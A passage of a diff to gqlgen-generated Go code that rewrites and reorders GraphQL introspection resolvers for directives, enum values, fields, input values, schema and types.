*executionContext) ___Schema_directives(ctx context.Context, field grap } }() fc := &graphql.FieldContext{ - Object: "__Schema", + Object: "__Directive", Field: field, Args: nil, - IsMethod: true, + IsMethod: false, IsResolver: false, } ctx = graphql.WithFieldContext(ctx, fc) resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { ctx = rctx // use context from middleware stack in children - return obj.Directives(), nil + return obj.Locations, nil }) if err != nil { ec.Error(ctx, err) @@ -3786,12 +4100,12 @@ func (ec *executionContext) ___Schema_directives(ctx context.Context, field grap } return graphql.Null } - res := resTmp.([]introspection.Directive) + res := resTmp.([]string) fc.Result = res - return ec.marshalN__Directive2ᚕgithubᚗcomᚋ99designsᚋgqlgenᚋgraphqlᚋintrospectionᚐDirectiveᚄ(ctx, field.Selections, res) + return ec.marshalN__DirectiveLocation2ᚕstringᚄ(ctx, field.Selections, res) } -func (ec *executionContext) ___Type_kind(ctx context.Context, field graphql.CollectedField, obj *introspection.Type) (ret graphql.Marshaler) { +func (ec *executionContext) ___Directive_args(ctx context.Context, field graphql.CollectedField, obj *introspection.Directive) (ret graphql.Marshaler) { defer func() { if r := recover(); r != nil { ec.Error(ctx, ec.Recover(ctx, r)) @@ -3799,17 +4113,17 @@ func (ec *executionContext) ___Type_kind(ctx context.Context, field graphql.Coll } }() fc := &graphql.FieldContext{ - Object: "__Type", + Object: "__Directive", Field: field, Args: nil, - IsMethod: true, + IsMethod: false, IsResolver: false, } ctx = graphql.WithFieldContext(ctx, fc) resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { ctx = rctx // use context from middleware stack in children - return obj.Kind(), nil + return obj.Args, nil }) if err != nil { ec.Error(ctx, err) @@ -3821,12 +4135,12 @@ func (ec *executionContext) ___Type_kind(ctx context.Context, field graphql.Coll } return graphql.Null } - res := resTmp.(string) + res := resTmp.([]introspection.InputValue) fc.Result = res - return ec.marshalN__TypeKind2string(ctx, field.Selections, res) + return ec.marshalN__InputValue2ᚕgithubᚗcomᚋ99designsᚋgqlgenᚋgraphqlᚋintrospectionᚐInputValueᚄ(ctx, field.Selections, res) } -func (ec *executionContext) ___Type_name(ctx context.Context, field graphql.CollectedField, obj *introspection.Type) (ret graphql.Marshaler) { +func (ec *executionContext) ___Directive_isRepeatable(ctx context.Context, field graphql.CollectedField, obj *introspection.Directive) (ret graphql.Marshaler) { defer func() { if r := recover(); r != nil { ec.Error(ctx, ec.Recover(ctx, r)) @@ -3834,31 +4148,34 @@ func (ec *executionContext) ___Type_name(ctx context.Context, field graphql.Coll } }() fc := &graphql.FieldContext{ - Object: "__Type", + Object: "__Directive", Field: field, Args: nil, - IsMethod: true, + IsMethod: false, IsResolver: false, } ctx = graphql.WithFieldContext(ctx, fc) resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { ctx = rctx // use context from middleware stack in children - return obj.Name(), nil + return obj.IsRepeatable, nil }) if err != nil { ec.Error(ctx, err) return graphql.Null } if resTmp == nil { + if !graphql.HasFieldError(ctx, fc) { + ec.Errorf(ctx, "must not be null") + } return graphql.Null } - res := resTmp.(*string) + res := resTmp.(bool) fc.Result = res - return ec.marshalOString2ᚖstring(ctx, field.Selections, res) + return ec.marshalNBoolean2bool(ctx, field.Selections, res) } -func (ec *executionContext) ___Type_description(ctx context.Context, field graphql.CollectedField, obj *introspection.Type) (ret graphql.Marshaler) { +func (ec *executionContext) ___EnumValue_name(ctx context.Context, field graphql.CollectedField, obj *introspection.EnumValue) (ret graphql.Marshaler) { defer func() { if r := recover(); r != nil { ec.Error(ctx, ec.Recover(ctx, r)) @@ -3866,31 +4183,34 @@ func (ec *executionContext) ___Type_description(ctx context.Context, field graph } }() fc := &graphql.FieldContext{ - Object: "__Type", + Object: "__EnumValue", Field: field, Args: nil, - IsMethod: true, + IsMethod: false, IsResolver: false, } ctx = graphql.WithFieldContext(ctx, fc) resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { ctx = rctx // use context from middleware stack in children - return obj.Description(), nil + return obj.Name, nil }) if err != nil { ec.Error(ctx, err) return graphql.Null } if resTmp == nil { + if !graphql.HasFieldError(ctx, fc) { + ec.Errorf(ctx, "must not be null") + } return graphql.Null } res := resTmp.(string) fc.Result = res - return ec.marshalOString2string(ctx, field.Selections, res) + return ec.marshalNString2string(ctx, field.Selections, res) } -func (ec *executionContext) ___Type_fields(ctx context.Context, field graphql.CollectedField, obj *introspection.Type) (ret graphql.Marshaler) { +func (ec *executionContext) ___EnumValue_description(ctx context.Context, field graphql.CollectedField, obj *introspection.EnumValue) (ret graphql.Marshaler) { defer func() { if r := recover(); r != nil { ec.Error(ctx, ec.Recover(ctx, r)) @@ -3898,24 +4218,17 @@ func (ec *executionContext) ___Type_fields(ctx context.Context, field graphql.Co } }() fc := &graphql.FieldContext{ - Object: "__Type", + Object: "__EnumValue", Field: field, Args: nil, - IsMethod: true, + IsMethod: false, IsResolver: false, } ctx = graphql.WithFieldContext(ctx, fc) - rawArgs := field.ArgumentMap(ec.Variables) - args, err := ec.field___Type_fields_args(ctx, rawArgs) - if err != nil { - ec.Error(ctx, err) - return graphql.Null - } - fc.Args = args resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { ctx = rctx // use context from middleware stack in children - return obj.Fields(args["includeDeprecated"].(bool)), nil + return obj.Description, nil }) if err != nil { ec.Error(ctx, err) @@ -3924,12 +4237,12 @@ func (ec *executionContext) ___Type_fields(ctx context.Context, field graphql.Co if resTmp == nil { return graphql.Null } - res := resTmp.([]introspection.Field) + res := resTmp.(string) fc.Result = res - return ec.marshalO__Field2ᚕgithubᚗcomᚋ99designsᚋgqlgenᚋgraphqlᚋintrospectionᚐFieldᚄ(ctx, field.Selections, res) + return ec.marshalOString2string(ctx, field.Selections, res) } -func (ec *executionContext) ___Type_interfaces(ctx context.Context, field graphql.CollectedField, obj *introspection.Type) (ret graphql.Marshaler) { +func (ec *executionContext) ___EnumValue_isDeprecated(ctx context.Context, field graphql.CollectedField, obj *introspection.EnumValue) (ret graphql.Marshaler) { defer func() { if r := recover(); r != nil { ec.Error(ctx, ec.Recover(ctx, r)) @@ -3937,7 +4250,7 @@ func (ec *executionContext) ___Type_interfaces(ctx context.Context, field graphq } }() fc := &graphql.FieldContext{ - Object: "__Type", + Object: "__EnumValue", Field: field, Args: nil, IsMethod: true, @@ -3947,21 +4260,24 @@ func (ec *executionContext) ___Type_interfaces(ctx context.Context, field graphq ctx = graphql.WithFieldContext(ctx, fc) resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { ctx = rctx // use context from middleware stack in children - return obj.Interfaces(), nil + return obj.IsDeprecated(), nil }) if err != nil { ec.Error(ctx, err) return graphql.Null } if resTmp == nil { + if !graphql.HasFieldError(ctx, fc) { + ec.Errorf(ctx, "must not be null") + } return graphql.Null } - res := resTmp.([]introspection.Type) + res := resTmp.(bool) fc.Result = res - return ec.marshalO__Type2ᚕgithubᚗcomᚋ99designsᚋgqlgenᚋgraphqlᚋintrospectionᚐTypeᚄ(ctx, field.Selections, res) + return ec.marshalNBoolean2bool(ctx, field.Selections, res) } -func (ec *executionContext) ___Type_possibleTypes(ctx context.Context, field graphql.CollectedField, obj *introspection.Type) (ret graphql.Marshaler) { +func (ec *executionContext) ___EnumValue_deprecationReason(ctx context.Context, field graphql.CollectedField, obj *introspection.EnumValue) (ret graphql.Marshaler) { defer func() { if r := recover(); r != nil { ec.Error(ctx, ec.Recover(ctx, r)) @@ -3969,7 +4285,7 @@ func (ec *executionContext) ___Type_possibleTypes(ctx context.Context, field gra } }() fc := &graphql.FieldContext{ - Object: "__Type", + Object: "__EnumValue", Field: field, Args: nil, IsMethod: true, @@ -3979,7 +4295,7 @@ func (ec *executionContext) ___Type_possibleTypes(ctx context.Context, field gra ctx = graphql.WithFieldContext(ctx, fc) resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { ctx = rctx // use context from middleware stack in children - return obj.PossibleTypes(), nil + return obj.DeprecationReason(), nil }) if err != nil { ec.Error(ctx, err) @@ -3988,12 +4304,12 @@ func (ec *executionContext) ___Type_possibleTypes(ctx context.Context, field gra if resTmp == nil { return graphql.Null } - res := resTmp.([]introspection.Type) + res := resTmp.(*string) fc.Result = res - return ec.marshalO__Type2ᚕgithubᚗcomᚋ99designsᚋgqlgenᚋgraphqlᚋintrospectionᚐTypeᚄ(ctx, field.Selections, res) + return ec.marshalOString2ᚖstring(ctx, field.Selections, res) } -func (ec *executionContext) ___Type_enumValues(ctx context.Context, field graphql.CollectedField, obj *introspection.Type) (ret graphql.Marshaler) { +func (ec *executionContext) ___Field_name(ctx context.Context, field graphql.CollectedField, obj *introspection.Field) (ret graphql.Marshaler) { defer func() { if r := recover(); r != nil { ec.Error(ctx, ec.Recover(ctx, r)) @@ -4001,24 +4317,52 @@ func (ec *executionContext) ___Type_enumValues(ctx context.Context, field graphq } }() fc := &graphql.FieldContext{ - Object: "__Type", + Object: "__Field", Field: field, Args: nil, - IsMethod: true, + IsMethod: false, IsResolver: false, } ctx = graphql.WithFieldContext(ctx, fc) - rawArgs := field.ArgumentMap(ec.Variables) - args, err := ec.field___Type_enumValues_args(ctx, rawArgs) + resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { + ctx = rctx // use context from middleware stack in children + return obj.Name, nil + }) if err != nil { ec.Error(ctx, err) return graphql.Null } - fc.Args = args + if resTmp == nil { + if !graphql.HasFieldError(ctx, fc) { + ec.Errorf(ctx, "must not be null") + } + return graphql.Null + } + res := resTmp.(string) + fc.Result = res + return ec.marshalNString2string(ctx, field.Selections, res) +} + +func (ec *executionContext) ___Field_description(ctx context.Context, field graphql.CollectedField, obj *introspection.Field) (ret graphql.Marshaler) { + defer func() { + if r := recover(); r != nil { + ec.Error(ctx, ec.Recover(ctx, r)) + ret = graphql.Null + } + }() + fc := &graphql.FieldContext{ + Object: "__Field", + Field: field, + Args: nil, + IsMethod: false, + IsResolver: false, + } + + ctx = graphql.WithFieldContext(ctx, fc) resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { ctx = rctx // use context from middleware stack in children - return obj.EnumValues(args["includeDeprecated"].(bool)), nil + return obj.Description, nil }) if err != nil { ec.Error(ctx, err) @@ -4027,12 +4371,12 @@ func (ec *executionContext) ___Type_enumValues(ctx context.Context, field graphq if resTmp == nil { return graphql.Null } - res := resTmp.([]introspection.EnumValue) + res := resTmp.(string) fc.Result = res - return ec.marshalO__EnumValue2ᚕgithubᚗcomᚋ99designsᚋgqlgenᚋgraphqlᚋintrospectionᚐEnumValueᚄ(ctx, field.Selections, res) + return ec.marshalOString2string(ctx, field.Selections, res) } -func (ec *executionContext) ___Type_inputFields(ctx context.Context, field graphql.CollectedField, obj *introspection.Type) (ret graphql.Marshaler) { +func (ec *executionContext) ___Field_args(ctx context.Context, field graphql.CollectedField, obj *introspection.Field) (ret graphql.Marshaler) { defer func() { if r := recover(); r != nil { ec.Error(ctx, ec.Recover(ctx, r)) @@ -4040,31 +4384,34 @@ func (ec *executionContext) ___Type_inputFields(ctx context.Context, field graph } }() fc := &graphql.FieldContext{ - Object: "__Type", + Object: "__Field", Field: field, Args: nil, - IsMethod: true, + IsMethod: false, IsResolver: false, } ctx = graphql.WithFieldContext(ctx, fc) resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { ctx = rctx // use context from middleware stack in children - return obj.InputFields(), nil + return obj.Args, nil }) if err != nil { ec.Error(ctx, err) return graphql.Null } if resTmp == nil { + if !graphql.HasFieldError(ctx, fc) { + ec.Errorf(ctx, "must not be null") + } return graphql.Null } res := resTmp.([]introspection.InputValue) fc.Result = res - return ec.marshalO__InputValue2ᚕgithubᚗcomᚋ99designsᚋgqlgenᚋgraphqlᚋintrospectionᚐInputValueᚄ(ctx, field.Selections, res) + return ec.marshalN__InputValue2ᚕgithubᚗcomᚋ99designsᚋgqlgenᚋgraphqlᚋintrospectionᚐInputValueᚄ(ctx, field.Selections, res) } -func (ec *executionContext) ___Type_ofType(ctx context.Context, field graphql.CollectedField, obj *introspection.Type) (ret graphql.Marshaler) { +func (ec *executionContext) ___Field_type(ctx context.Context, field graphql.CollectedField, obj *introspection.Field) (ret graphql.Marshaler) { defer func() { if r := recover(); r != nil { ec.Error(ctx, ec.Recover(ctx, r)) @@ -4072,39 +4419,764 @@ func (ec *executionContext) ___Type_ofType(ctx context.Context, field graphql.Co } }() fc := &graphql.FieldContext{ - Object: "__Type", + Object: "__Field", Field: field, Args: nil, - IsMethod: true, + IsMethod: false, IsResolver: false, } ctx = graphql.WithFieldContext(ctx, fc) resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { ctx = rctx // use context from middleware stack in children - return obj.OfType(), nil + return obj.Type, nil }) if err != nil { ec.Error(ctx, err) return graphql.Null } if resTmp == nil { + if !graphql.HasFieldError(ctx, fc) { + ec.Errorf(ctx, "must not be null") + } return graphql.Null } res := resTmp.(*introspection.Type) fc.Result = res - return ec.marshalO__Type2ᚖgithubᚗcomᚋ99designsᚋgqlgenᚋgraphqlᚋintrospectionᚐType(ctx, field.Selections, res) + return ec.marshalN__Type2ᚖgithubᚗcomᚋ99designsᚋgqlgenᚋgraphqlᚋintrospectionᚐType(ctx, field.Selections, res) } -// endregion **************************** field.gotpl ***************************** - -// region **************************** input.gotpl ***************************** - -func (ec *executionContext) unmarshalInputCreateCredentialInput(ctx context.Context, obj interface{}) (CreateCredentialInput, error) { - var it CreateCredentialInput - asMap := map[string]interface{}{} - for k, v := range obj.(map[string]interface{}) { - asMap[k] = v +func (ec *executionContext) ___Field_isDeprecated(ctx context.Context, field graphql.CollectedField, obj *introspection.Field) (ret graphql.Marshaler) { + defer func() { + if r := recover(); r != nil { + ec.Error(ctx, ec.Recover(ctx, r)) + ret = graphql.Null + } + }() + fc := &graphql.FieldContext{ + Object: "__Field", + Field: field, + Args: nil, + IsMethod: true, + IsResolver: false, + } + + ctx = graphql.WithFieldContext(ctx, fc) + resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { + ctx = rctx // use context from middleware stack in children + return obj.IsDeprecated(), nil + }) + if err != nil { + ec.Error(ctx, err) + return graphql.Null + } + if resTmp == nil { + if !graphql.HasFieldError(ctx, fc) { + ec.Errorf(ctx, "must not be null") + } + return graphql.Null + } + res := resTmp.(bool) + fc.Result = res + return ec.marshalNBoolean2bool(ctx, field.Selections, res) +} + +func (ec *executionContext) ___Field_deprecationReason(ctx context.Context, field graphql.CollectedField, obj *introspection.Field) (ret graphql.Marshaler) { + defer func() { + if r := recover(); r != nil { + ec.Error(ctx, ec.Recover(ctx, r)) + ret = graphql.Null + } + }() + fc := &graphql.FieldContext{ + Object: "__Field", + Field: field, + Args: nil, + IsMethod: true, + IsResolver: false, + } + + ctx = graphql.WithFieldContext(ctx, fc) + resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { + ctx = rctx // use context from middleware stack in children + return obj.DeprecationReason(), nil + }) + if err != nil { + ec.Error(ctx, err) + return graphql.Null + } + if resTmp == nil { + return graphql.Null + } + res := resTmp.(*string) + fc.Result = res + return ec.marshalOString2ᚖstring(ctx, field.Selections, res) +} + +func (ec *executionContext) ___InputValue_name(ctx context.Context, field graphql.CollectedField, obj *introspection.InputValue) (ret graphql.Marshaler) { + defer func() { + if r := recover(); r != nil { + ec.Error(ctx, ec.Recover(ctx, r)) + ret = graphql.Null + } + }() + fc := &graphql.FieldContext{ + Object: "__InputValue", + Field: field, + Args: nil, + IsMethod: false, + IsResolver: false, + } + + ctx = graphql.WithFieldContext(ctx, fc) + resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { + ctx = rctx // use context from middleware stack in children + return obj.Name, nil + }) + if err != nil { + ec.Error(ctx, err) + return graphql.Null + } + if resTmp == nil { + if !graphql.HasFieldError(ctx, fc) { + ec.Errorf(ctx, "must not be null") + } + return graphql.Null + } + res := resTmp.(string) + fc.Result = res + return ec.marshalNString2string(ctx, field.Selections, res) +} + +func (ec *executionContext) ___InputValue_description(ctx context.Context, field graphql.CollectedField, obj *introspection.InputValue) (ret graphql.Marshaler) { + defer func() { + if r := recover(); r != nil { + ec.Error(ctx, ec.Recover(ctx, r)) + ret = graphql.Null + } + }() + fc := &graphql.FieldContext{ + Object: "__InputValue", + Field: field, + Args: nil, + IsMethod: false, + IsResolver: false, + } + + ctx = graphql.WithFieldContext(ctx, fc) + resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { + ctx = rctx // use context from middleware stack in children + return obj.Description, nil + }) + if err != nil { + ec.Error(ctx, err) + return graphql.Null + } + if resTmp == nil { + return graphql.Null + } + res := resTmp.(string) + fc.Result = res + return ec.marshalOString2string(ctx, field.Selections, res) +} + +func (ec *executionContext) ___InputValue_type(ctx context.Context, field graphql.CollectedField, obj *introspection.InputValue) (ret graphql.Marshaler) { + defer func() { + if r := recover(); r != nil { + ec.Error(ctx, ec.Recover(ctx, r)) + ret = graphql.Null + } + }() + fc := &graphql.FieldContext{ + Object: "__InputValue", + Field: field, + Args: nil, + IsMethod: false, + IsResolver: false, + } + + ctx = graphql.WithFieldContext(ctx, fc) + resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { + ctx = rctx // use context from middleware stack in children + return obj.Type, nil + }) + if err != nil { + ec.Error(ctx, err) + return graphql.Null + } + if resTmp == nil { + if !graphql.HasFieldError(ctx, fc) { + ec.Errorf(ctx, "must not be null") + } + return graphql.Null + } + res := resTmp.(*introspection.Type) + fc.Result = res + return ec.marshalN__Type2ᚖgithubᚗcomᚋ99designsᚋgqlgenᚋgraphqlᚋintrospectionᚐType(ctx, field.Selections, res) +} + +func (ec *executionContext) ___InputValue_defaultValue(ctx context.Context, field graphql.CollectedField, obj *introspection.InputValue) (ret graphql.Marshaler) { + defer func() { + if r := recover(); r != nil { + ec.Error(ctx, ec.Recover(ctx, r)) + ret = graphql.Null + } + }() + fc := &graphql.FieldContext{ + Object: "__InputValue", + Field: field, + Args: nil, + IsMethod: false, + IsResolver: false, + } + + ctx = graphql.WithFieldContext(ctx, fc) + resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { + ctx = rctx // use context from middleware stack in children + return obj.DefaultValue, nil + }) + if err != nil { + ec.Error(ctx, err) + return graphql.Null + } + if resTmp == nil { + return graphql.Null + } + res := resTmp.(*string) + fc.Result = res + return ec.marshalOString2ᚖstring(ctx, field.Selections, res) +} + +func (ec *executionContext) ___Schema_types(ctx context.Context, field graphql.CollectedField, obj *introspection.Schema) (ret graphql.Marshaler) { + defer func() { + if r := recover(); r != nil { + ec.Error(ctx, ec.Recover(ctx, r)) + ret = graphql.Null + } + }() + fc := &graphql.FieldContext{ + Object: "__Schema", + Field: field, + Args: nil, + IsMethod: true, + IsResolver: false, + } + + ctx = graphql.WithFieldContext(ctx, fc) + resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { + ctx = rctx // use context from middleware stack in children + return obj.Types(), nil + }) + if err != nil { + ec.Error(ctx, err) + return graphql.Null + } + if resTmp == nil { + if !graphql.HasFieldError(ctx, fc) { + ec.Errorf(ctx, "must not be null") + } + return graphql.Null + } + res := resTmp.([]introspection.Type) + fc.Result = res + return ec.marshalN__Type2ᚕgithubᚗcomᚋ99designsᚋgqlgenᚋgraphqlᚋintrospectionᚐTypeᚄ(ctx, field.Selections, res) +} + +func (ec *executionContext) ___Schema_queryType(ctx context.Context, field graphql.CollectedField, obj *introspection.Schema) (ret graphql.Marshaler) { + defer func() { + if r := recover(); r != nil { + ec.Error(ctx, ec.Recover(ctx, r)) + ret = graphql.Null + } + }() + fc := &graphql.FieldContext{ + Object: "__Schema", + Field: field, + Args: nil, + IsMethod: true, + IsResolver: false, + } + + ctx = graphql.WithFieldContext(ctx, fc) + resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { + ctx = rctx // use context from middleware stack in children + return obj.QueryType(), nil + }) + if err != nil { + ec.Error(ctx, err) + return graphql.Null + } + if resTmp == nil { + if !graphql.HasFieldError(ctx, fc) { + ec.Errorf(ctx, "must not be null") + } + return graphql.Null + } + res := resTmp.(*introspection.Type) + fc.Result = res + return ec.marshalN__Type2ᚖgithubᚗcomᚋ99designsᚋgqlgenᚋgraphqlᚋintrospectionᚐType(ctx, field.Selections, res) +} + +func (ec *executionContext) ___Schema_mutationType(ctx context.Context, field graphql.CollectedField, obj *introspection.Schema) (ret graphql.Marshaler) { + defer func() { + if r := recover(); r != nil { + ec.Error(ctx, ec.Recover(ctx, r)) + ret = graphql.Null + } + }() + fc := &graphql.FieldContext{ + Object: "__Schema", + Field: field, + Args: nil, + IsMethod: true, + IsResolver: false, + } + + ctx = graphql.WithFieldContext(ctx, fc) + resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { + ctx = rctx // use context from middleware stack in children + return obj.MutationType(), nil + }) + if err != nil { + ec.Error(ctx, err) + return graphql.Null + } + if resTmp == nil { + return graphql.Null + } + res := resTmp.(*introspection.Type) + fc.Result = res + return ec.marshalO__Type2ᚖgithubᚗcomᚋ99designsᚋgqlgenᚋgraphqlᚋintrospectionᚐType(ctx, field.Selections, res) +} + +func (ec *executionContext) ___Schema_subscriptionType(ctx context.Context, field graphql.CollectedField, obj *introspection.Schema) (ret graphql.Marshaler) { + defer func() { + if r := recover(); r != nil { + ec.Error(ctx, ec.Recover(ctx, r)) + ret = graphql.Null + } + }() + fc := &graphql.FieldContext{ + Object: "__Schema", + Field: field, + Args: nil, + IsMethod: true, + IsResolver: false, + } + + ctx = graphql.WithFieldContext(ctx, fc) + resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { + ctx = rctx // use context from middleware stack in children + return obj.SubscriptionType(), nil + }) + if err != nil { + ec.Error(ctx, err) + return graphql.Null + } + if resTmp == nil { + return graphql.Null + } + res := resTmp.(*introspection.Type) + fc.Result = res + return ec.marshalO__Type2ᚖgithubᚗcomᚋ99designsᚋgqlgenᚋgraphqlᚋintrospectionᚐType(ctx, field.Selections, res) +} + +func (ec *executionContext) ___Schema_directives(ctx context.Context, field graphql.CollectedField, obj *introspection.Schema) (ret graphql.Marshaler) { + defer func() { + if r := recover(); r != nil { + ec.Error(ctx, ec.Recover(ctx, r)) + ret = graphql.Null + } + }() + fc := &graphql.FieldContext{ + Object: "__Schema", + Field: field, + Args: nil, + IsMethod: true, + IsResolver: false, + } + + ctx = graphql.WithFieldContext(ctx, fc) + resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { + ctx = rctx // use context from middleware stack in children + return obj.Directives(), nil + }) + if err != nil { + ec.Error(ctx, err) + return graphql.Null + } + if resTmp == nil { + if !graphql.HasFieldError(ctx, fc) { + ec.Errorf(ctx, "must not be null") + } + return graphql.Null + } + res := resTmp.([]introspection.Directive) + fc.Result = res + return ec.marshalN__Directive2ᚕgithubᚗcomᚋ99designsᚋgqlgenᚋgraphqlᚋintrospectionᚐDirectiveᚄ(ctx, field.Selections, res) +} + +func (ec *executionContext) ___Type_kind(ctx context.Context, field graphql.CollectedField, obj *introspection.Type) (ret graphql.Marshaler) { + defer func() { + if r := recover(); r != nil { + ec.Error(ctx, ec.Recover(ctx, r)) + ret = graphql.Null + } + }() + fc := &graphql.FieldContext{ + Object: "__Type", + Field: field, + Args: nil, + IsMethod: true, + IsResolver: false, + } + + ctx = graphql.WithFieldContext(ctx, fc) + resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { + ctx = rctx // use context from middleware stack in children + return obj.Kind(), nil + }) + if err != nil { + ec.Error(ctx, err) + return graphql.Null + } + if resTmp == nil { + if !graphql.HasFieldError(ctx, fc) { + ec.Errorf(ctx, "must not be null") + } + return graphql.Null + } + res := resTmp.(string) + fc.Result = res + return ec.marshalN__TypeKind2string(ctx, field.Selections, res) +} + +func (ec *executionContext) ___Type_name(ctx context.Context, field graphql.CollectedField, obj *introspection.Type) (ret graphql.Marshaler) { + defer func() { + if r := recover(); r != nil { + ec.Error(ctx, ec.Recover(ctx, r)) + ret = graphql.Null + } + }() + fc := &graphql.FieldContext{ + Object: "__Type", + Field: field, + Args: nil, + IsMethod: true, + IsResolver: false, + } + + ctx = graphql.WithFieldContext(ctx, fc) + resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { + ctx = rctx // use context from middleware stack in children + return obj.Name(), nil + }) + if err != nil { + ec.Error(ctx, err) + return graphql.Null + } + if resTmp == nil { + return graphql.Null + } + res := resTmp.(*string) + fc.Result = res + return ec.marshalOString2ᚖstring(ctx, field.Selections, res) +} + +func (ec *executionContext) ___Type_description(ctx context.Context, field graphql.CollectedField, obj *introspection.Type) (ret graphql.Marshaler) { + defer func() { + if r := recover(); r != nil { + ec.Error(ctx, ec.Recover(ctx, r)) + ret = graphql.Null + } + }() + fc := &graphql.FieldContext{ + Object: "__Type", + Field: field, + Args: nil, + IsMethod: true, + IsResolver: false, + } + + ctx = graphql.WithFieldContext(ctx, fc) + resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { + ctx = rctx // use context from middleware stack in children + return obj.Description(), nil + }) + if err != nil { + ec.Error(ctx, err) + return graphql.Null + } + if resTmp == nil { + return graphql.Null + } + res := resTmp.(string) + fc.Result = res + return ec.marshalOString2string(ctx, field.Selections, res) +} + +func (ec *executionContext) ___Type_fields(ctx context.Context, field graphql.CollectedField, obj *introspection.Type) (ret graphql.Marshaler) { + defer func() { + if r := recover(); r != nil { + ec.Error(ctx, ec.Recover(ctx, r)) + ret = graphql.Null + } + }() + fc := &graphql.FieldContext{ + Object: "__Type", + Field: field, + Args: nil, + IsMethod: true, + IsResolver: false, + } + + ctx = graphql.WithFieldContext(ctx, fc) + rawArgs := field.ArgumentMap(ec.Variables) + args, err := ec.field___Type_fields_args(ctx, rawArgs) + if err != nil { + ec.Error(ctx, err) + return graphql.Null + } + fc.Args = args + resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { + ctx = rctx // use context from middleware stack in children + return obj.Fields(args["includeDeprecated"].(bool)), nil + }) + if err != nil { + ec.Error(ctx, err) + return graphql.Null + } + if resTmp == nil { + return graphql.Null + } + res := resTmp.([]introspection.Field) + fc.Result = res + return ec.marshalO__Field2ᚕgithubᚗcomᚋ99designsᚋgqlgenᚋgraphqlᚋintrospectionᚐFieldᚄ(ctx, field.Selections, res) +} + +func (ec *executionContext) ___Type_interfaces(ctx context.Context, field graphql.CollectedField, obj *introspection.Type) (ret graphql.Marshaler) { + defer func() { + if r := recover(); r != nil { + ec.Error(ctx, ec.Recover(ctx, r)) + ret = graphql.Null + } + }() + fc := &graphql.FieldContext{ + Object: "__Type", + Field: field, + Args: nil, + IsMethod: true, + IsResolver: false, + } + + ctx = graphql.WithFieldContext(ctx, fc) + resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { + ctx = rctx // use context from middleware stack in children + return obj.Interfaces(), nil + }) + if err != nil { + ec.Error(ctx, err) + return graphql.Null + } + if resTmp == nil { + return graphql.Null + } + res := resTmp.([]introspection.Type) + fc.Result = res + return ec.marshalO__Type2ᚕgithubᚗcomᚋ99designsᚋgqlgenᚋgraphqlᚋintrospectionᚐTypeᚄ(ctx, field.Selections, res) +} + +func (ec *executionContext) ___Type_possibleTypes(ctx context.Context, field graphql.CollectedField, obj *introspection.Type) (ret graphql.Marshaler) { + defer func() { + if r := recover(); r != nil { + ec.Error(ctx, ec.Recover(ctx, r)) + ret = graphql.Null + } + }() + fc := &graphql.FieldContext{ + Object: "__Type", + Field: field, + Args: nil, + IsMethod: true, + IsResolver: false, + } + + ctx = graphql.WithFieldContext(ctx, fc) + resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { + ctx = rctx // use context from middleware stack in children + return obj.PossibleTypes(), nil + }) + if err != nil { + ec.Error(ctx, err) + return graphql.Null + } + if resTmp == nil { + return graphql.Null + } + res := resTmp.([]introspection.Type) + fc.Result = res + return ec.marshalO__Type2ᚕgithubᚗcomᚋ99designsᚋgqlgenᚋgraphqlᚋintrospectionᚐTypeᚄ(ctx, field.Selections, res) +} + +func (ec *executionContext) ___Type_enumValues(ctx context.Context, field graphql.CollectedField, obj *introspection.Type) (ret graphql.Marshaler) { + defer func() { + if r := recover(); r != nil { + ec.Error(ctx, ec.Recover(ctx, r)) + ret = graphql.Null + } + }() + fc := &graphql.FieldContext{ + Object: "__Type", + Field: field, + Args: nil, + IsMethod: true, + IsResolver: false, + } + + ctx = graphql.WithFieldContext(ctx, fc) + rawArgs := field.ArgumentMap(ec.Variables) + args, err := ec.field___Type_enumValues_args(ctx, rawArgs) + if err != nil { + ec.Error(ctx, err) + return graphql.Null + } + fc.Args = args + resTmp, err := ec.ResolverMiddleware(ctx, func(rctx context.Context) (interface{}, error) { + ctx = rctx // use context from middleware stack in children + return obj.EnumValues(args["includeDeprecated"].(bool)), nil + }) + if err != nil { + ec.Error(ctx, err) + return graphql.Null + } + if resTmp == nil { + return graphql.Null + } + res := resTmp.([]introspection.EnumValue) + fc.Result = res + return ec.marshalO__EnumValue2ᚕgithubᚗcomᚋ99designsᚋgqlgenᚋgraphqlᚋintrospectionᚐEnumValueᚄ(ctx, field.Selections, res) +} + +func (ec *executionContext) ___Type_inputFields(ctx context.Context, field graphql.CollectedField, obj 